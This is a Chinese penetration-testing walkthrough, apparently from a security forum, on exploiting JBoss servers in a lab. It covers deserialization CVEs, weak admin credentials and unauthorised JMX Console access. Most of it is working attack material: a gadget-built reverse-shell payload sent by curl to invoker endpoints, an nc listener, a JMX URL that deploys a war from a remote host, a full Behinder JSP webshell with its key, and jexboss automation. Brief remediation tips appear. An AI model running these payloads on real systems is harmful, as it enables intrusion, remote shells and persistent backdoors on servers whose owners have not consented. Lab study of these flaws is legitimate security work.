Jboss 前言JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的…
Jboss
前言
JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或 Jetty绑定使用。
Jetty是一个开源的servlet容器,它为基于Java的web容器,例如JSP和 servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将 Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。
默认端口
8080 9990
安装
官网: https://jbossas.jboss.org/downloads/
需要安装Java环境 这里要注意JDK的版本 java7
配置Jboss环境变量
JBOSS_HOME C:\JBoss6\jboss-6.1.0.Final
;%JBOSS_HOME%\bin;
进行启动
出现INFO 说明配置成功
Jboss默认部署路径
xxx\jboss-6.1.0.Final\server\default\deploy\ROOT.war
本地访问一下
修改内容 达到远程访问
xxx\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml
修改配置
将address="${jboss.bind.address}"-->address="0.0.0.0"
重启一下
kali远程访问
Jboss渗透
JBoss 5.x/6.x反序列化漏洞(CVE-2017-12149)
漏洞原理
JBOSSApplication Server反序列化命令执行漏洞,远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码
影响范围:
JBoss 5.x/6.x
验证是否存在漏洞
/invoker/readonly
返回500,说明此页面存在反序列化漏洞
漏洞利用
配置javac的环境
我这边在kali进行操作
cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
## 这里要科学上网 配置代理
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version
成功安装
不用管上面那个报错
利用工具:JavaDeserH2HC
https://github.com/joaomatosf/JavaDeserH2HC
我们选择一个 Gadget:ReverseshellCommonsCollectionsHashMap,编译并生成序列化数据:
生成:ReverseShellCommonsCollectionsHashMap.class
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成:ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:端口
#IP和端口是vps上nc监听的
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.175.161:8888
开启监听
nc -lvvp 8888
利用:ReverseShellCommonsCollectionsHashMap.ser
curl http://192.168.175.195:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功拿到反弹shell
JBoss JMXInvokerServlet反序列化漏洞(CVE-2015-7501)
漏洞原理
JBoss中invoker/JMXInvokerServlet
路径对外开放,JBoss的jmx组件支持Java反序列化
漏洞影响
Red Hat JBoss A-MQ6.x版本;
BPM Suite(BPMs)6.x版本;
BRMS6x版本和5.x版本;
Data Grid(JDG)6.x版本;
Data virtualization(JDV)6.x版本和5.x版本;
Enterprise Application Platform6.x版本,5.x版本和4.3版本;
FuSe6.X版本;Fuse Service Works(FSW)6.x版本;
Operations Network JBOSs On 3.x版本;Portalc6.x版本;
SOA Platforn(SOA-P)5.x版本Web Server JWS)3.x版本;
Red Hat OpenShift/XPAAS 3.x版本;
Red Hat Subscription Asset Manager1.3版本
验证漏洞
/invoker/JMXInvokerServlet
如上,说明接口开放,此接口存在反序列化漏洞
漏洞利用
直接利用CVE-2017-12149的ReverseShellCommonsCollectionsHashMap.ser发送到/invoker/JMXInvokerServlet
接口中
curl http://192.168.175.195:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
同样是要开启监听
成功拿到shell
修复建议
1.不需要http-invoker.sar
组件的用户 可以直接删除掉
路径为:C:\JBoss6\jboss-6.1.0.Final\server\default\deploy
2.添加如下代码至http-invoker.sar下web.xml的security-constraint
标签中,对http-invoker组件进行访问控制
<url-pattern>/*</url-pattern>
JbossMO JMS反序列化漏洞(CVE-2017-7504)
漏洞原理
Jboss AS 4.x及之前版本中,JbossMQ实现过程的 JMS over HTTP Invocation Layer的HTTPServerlLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码
影响版本
Jboss AS 4.x以及之前所有的版本
安装Jboss4
需要安装Java环境 这里要注意JDK的版本 java6
同样是需要配置Jboss环境变量
运行run.bat
出现INFO 配置成功
本地访问一下
配置远程登录
C:\jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer
将address="${jboss.bind.address}"-->address="0.0.0.0"
保存退出 重启一下run.bat
kali远程访问
验证漏洞
/jbossmq-httpil/HTTPServerILServlet
说明是存在漏洞
漏洞利用
curl http://192.168.175.196:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @
ReverseShellCommonsCollectionsHashMap.ser
修复建议
升级版本!
JBoss EJBlnvokerServle反序列化漏洞(CVE-2013-4810)
验证漏洞
/invoker/EJBInvokerServle
能返回结果 就可以利用
两者区别
与(CVE-2015-7501)漏洞原理相同,这里详细介绍一下两者的区别
其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和 EJBInvokerServlet利用的是org.jboss.invocation.Marshalledvalue
进行的反序列化操作
而Web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation
进行反序列化并上传构造的文件
Administration Console弱口令
Administration Console管理页面存在弱口令
存在管理界面
弱口令:
admin:admin
然后没有验证码 可以爆破
登陆后台上传war包!
这里有上传按钮
这边用冰蝎的马儿 进行打包war 上传
那么上传目录
就是war包名所在的文件夹
/shell/shell.jsp
修复建议
1.修改密码
默认密码的位置
C:\JBoss6\jboss-6.1.0.Final\server\default\conf\props
2.删除 Administration Console页面
Jboss版本>=6.0,Administration Console页面路径为
C:\jboss-6.1.0.Final\common\deploy\admin-console.war
6.0之前的版本
C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war
低版本 JMX Console未授权访问
漏洞原理
JMX Console是Jboss管理控制台,访问控制不严导致的漏洞!
Jboss 4.x及其之前的版本 console管理路径为/jmx-console/和/web-console/!
- jmx-console的配置文件为
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#jboss的绝对路径不同网站不一样
- Web-Conso|e的配置文件为
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml#jboss的绝对路径不同网站不一样
- 控制台账号密码
- jmx-console和web-console共用一个账号密码,账号密码文件在
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
漏洞利用
保存的路径
继续往下翻
远程war包部署
service apache2 startpython -m SimpleHTTPServer 9999
自己本地访问一下 发现是可以的
部署成功
查看部署情况 这里要点击一下 Apply Changes 进行部署
然后在jboss.web.dep
高版本JMX Console未授权访问
漏洞利用
部署地址
查看框架的源代码 我们要找的是methodIndex
为17/19
的 deploy,填写远程war包的地址进行远程部署
对应的是
部署成功后 进行点击
http://192.168.175.194:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://xxxx/1.war
然后冰蝎进行远程连接 就可
本地检查 部署的文件
路径:
C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost
漏洞复现
定位到store的位置
http://192.168.175.196:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository
通过向store的四个参数传入信息 达到上传shell
这里上传冰蝎的jsp木马
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);\}\}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
这边写一个情况
本地测试之后 发现上传的文档 在这里
在这个目录下 有问题
自动化渗透
sudo pip install -r requires.txt
执行命令 拿jboss4举例
python jexboss.py -host http://192.168.175.196:8080
进行利用 就可以了
总结
JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。
但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用
希望此文对大家有帮助!
- 本文作者: 略略略
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/504
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!